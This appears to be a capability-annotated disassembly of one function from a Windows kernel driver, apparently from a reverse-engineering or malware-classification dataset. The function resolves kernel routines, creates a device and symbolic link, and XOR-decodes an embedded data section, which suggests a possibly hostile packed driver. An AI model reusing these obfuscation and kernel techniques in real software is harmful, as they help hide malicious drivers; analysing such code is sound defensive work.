Function at 0x111b3
Capabilities:
Create device object
Encode data using xor
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x630
push ebx
push esi
push edi
push 8
pop ecx
mov esi, 0x10814
lea edi, [ebp - 0x428]
push 0x7a
rep movsd dword es:[edi], dword [esi]
pop ecx
xor eax, eax
lea edi, [ebp - 0x408]
push 0xa
rep stosd dword es:[edi], eax
pop ecx
mov esi, 0x10834
lea edi, [ebp - 0x630]
push 0x78
rep movsd dword es:[edi], dword [esi]
pop ecx
lea edi, [ebp - 0x608]
rep stosd dword es:[edi], eax
push 0x7f
xor ebx, ebx
pop ecx
lea edi, [ebp - 0x21f]
mov byte [ebp - 0x220], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, sym.imp.ntoskrnl.exe_ZwPulseEvent
lea eax, sym.imp.ntoskrnl.exe_ZwQueryInformationProcess
lea eax, sym.imp.ntoskrnl.exe_ProbeForRead
lea eax, sym.imp.ntoskrnl.exe_ProbeForWrite
lea eax, sym.imp.ntoskrnl.exe_RtlInitUnicodeString
lea eax, sym.imp.HAL.dll_KfAcquireSpinLock
lea eax, sym.imp.HAL.dll_KfReleaseSpinLock
push ebx
lea eax, [ebp - 0x220]
push 0x200
push eax
push 0xb
call dword [sym.imp.ntoskrnl.exe_ZwQuerySystemInformation]
mov eax, dword [ebp - 0x214]
cmp eax, ebx
mov dword [ebp - 8], eax
je 0x1126a
mov ecx, dword [eax + 0x3c]
cmp dword [ecx + eax + 8], 0x39e732ed
je 0x116b2
xor esi, esi
push 0x1085c
call section..text
push 0x10890
call section..text
push 0x108c4
call section..text
push 0x108f8
call section..text
push 0x1092c
call section..text
push 0x10960
call section..text
push 0x10994
call section..text
push 0x109c8
call section..text
push 0x109fc
call section..text
push 0x10a30
call section..text
push dword [esi + 0x12e40]
push dword [ebp - 8]
call fcn.00012342
push 0x10a64
mov edi, eax
call section..text
push 0x10a98
call section..text
push 0x10acc
call section..text
push 0x10b00
call section..text
push 0x10b34
call section..text
push 0x10b68
call section..text
push 0x10b9c
call section..text
push 0x10bd0
call section..text
push 0x10c04
call section..text
push 0x10c38
call section..text
cmp edi, ebx
je 0x1141f
push 0x10c6c
call section..text
push 0x10ca0
call section..text
push 0x10cd4
call section..text
push 0x10d08
call section..text
push 0x10d3c
call section..text
push 0x10d70
call section..text
push 0x10da4
call section..text
push 0x10dd8
call section..text
push 0x10e0c
call section..text
push 0x10e40
call section..text
mov eax, dword [ebp - 8]
push 0x10e74
add edi, eax
mov dword [esi + 0x12ea8], edi
call section..text
push 0x10ea8
call section..text
push 0x10edc
call section..text
push 0x10f10
call section..text
push 0x10f44
call section..text
push 0x10f78
call section..text
push 0x10fac
call section..text
push 0x10fe0
call section..text
push 0x11014
call section..text
push 0x11048
call section..text
add esi, 4
cmp esi, 0x60
jl 0x1126c
mov eax, dword [0x12ea8]
mov dword [0x12f08], eax
mov eax, dword [0x12eac]
mov dword [0x12f0c], eax
mov eax, dword [0x12eb0]
mov dword [0x12f10], eax
mov eax, dword [0x12eb4]
mov dword [0x12f14], eax
mov eax, dword [0x12eb8]
mov dword [0x12f18], eax
mov eax, dword [0x12ebc]
mov dword [0x12f1c], eax
mov eax, dword [0x12ec0]
mov dword [0x12f20], eax
mov eax, dword [0x12ec4]
mov dword [0x12f24], eax
mov eax, dword [0x12ec8]
mov dword [0x12f28], eax
mov eax, dword [0x12ecc]
mov dword [0x12f2c], eax
mov eax, dword [0x12ed0]
mov dword [0x12f30], eax
mov eax, dword [0x12ed4]
mov dword [0x12f34], eax
mov eax, dword [0x12ed8]
mov dword [0x12f38], eax
mov eax, dword [0x12edc]
mov dword [0x12f3c], eax
mov eax, dword [0x12ee0]
mov dword [0x12f40], eax
mov eax, dword [0x12ee4]
mov dword [0x12f44], eax
mov eax, dword [0x12ee8]
mov dword [0x12f48], eax
mov eax, dword [0x12eec]
mov dword [0x12f4c], eax
mov eax, dword [0x12ef0]
mov dword [0x12f50], eax
mov eax, dword [0x12ef4]
mov dword [0x12f54], eax
mov eax, dword [0x12ef8]
mov dword [0x12f58], eax
mov eax, dword [0x12efc]
mov dword [0x12f5c], eax
mov eax, dword [0x12f00]
mov dword [0x12f60], eax
mov eax, dword [0x12f04]
mov dword [0x12f64], eax
call fcn.00012595
mov dword [0x12f68], eax
lea eax, [ebp - 0x428]
push eax
lea eax, [ebp - 0x18]
push eax
call dword [0x12f4c]
mov edx, dword [ebp + 8]
push 0x1b
pop ecx
mov eax, 0x1257c
lea edi, [edx + 0x38]
rep stosd dword es:[edi], eax
lea eax, [ebp - 4]
mov dword [edx + 0x70], 0x11fcb
push eax
push ebx
push ebx
lea eax, [ebp - 0x18]
push 0x22
push eax
push 0x10
push edx
mov dword [edx + 0x34], 0x127f2
call dword [sym.imp.ntoskrnl.exe_IoCreateDevice]
lea eax, [ebp - 0x630]
push eax
lea eax, [ebp - 0x20]
push eax
call dword [0x12f4c]
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x20]
push eax
call dword [sym.imp.ntoskrnl.exe_IoCreateSymbolicLink]
xor eax, eax
xor byte [eax + section..ESTisb], 0x3d
inc eax
cmp eax, 0xac6
jl 0x1158a
push dword [0x12ea0]
lea eax, [ebp - 0x10]
push eax
call dword [0x12f4c]
lea eax, [ebp - 0x10]
push eax
call dword [0x12f24]
cmp eax, ebx
mov dword [0x12f80], eax
je 0x116b2
push dword [0x12ea4]
lea eax, [ebp - 0x10]
push eax
call dword [0x12f4c]
lea eax, [ebp - 0x10]
push eax
call dword [0x12f24]
cmp eax, ebx
mov dword [0x12f84], eax
je 0x116b2
push dword [sym.imp.ntoskrnl.exe_ZwPulseEvent]
call fcn.00012302
cmp eax, ebx
mov dword [0x12f88], eax
je 0x116b2
push 0x20000
push ebx
call dword [0x12f08]
mov edi, eax
cmp edi, ebx
mov dword [0x12f70], edi
je 0x116b2
mov ecx, 0x8000
xor eax, eax
push 0x12f74
rep stosd dword es:[edi], eax
push dword [0x12f70]
push section..ESTisb
call fcn.000105c6
test eax, eax
jne 0x1166a
push 0x1107c
call section..text
push dword [0x12f70]
call dword [0x12f0c]
push 0x110b0
call section..text
mov dword [0x12f70], ebx
push 0x110e4
jmp 0x116ad
push 0x10000
push ebx
call dword [0x12f08]
mov edi, eax
cmp edi, ebx
mov dword [0x12f6c], edi
jne 0x116b9
push 0x11118
call section..text
push dword [0x12f70]
call dword [0x12f0c]
push 0x1114c
call section..text
mov dword [0x12f70], ebx
push 0x11180
call section..text
mov eax, 0xc0000001
jmp 0x116cb
mov ecx, 0x4000
xor eax, eax
push 0x14
push 0x32
rep stosd dword es:[edi], eax
call fcn.000107f8
pop edi
pop esi
pop ebx
leave
ret 8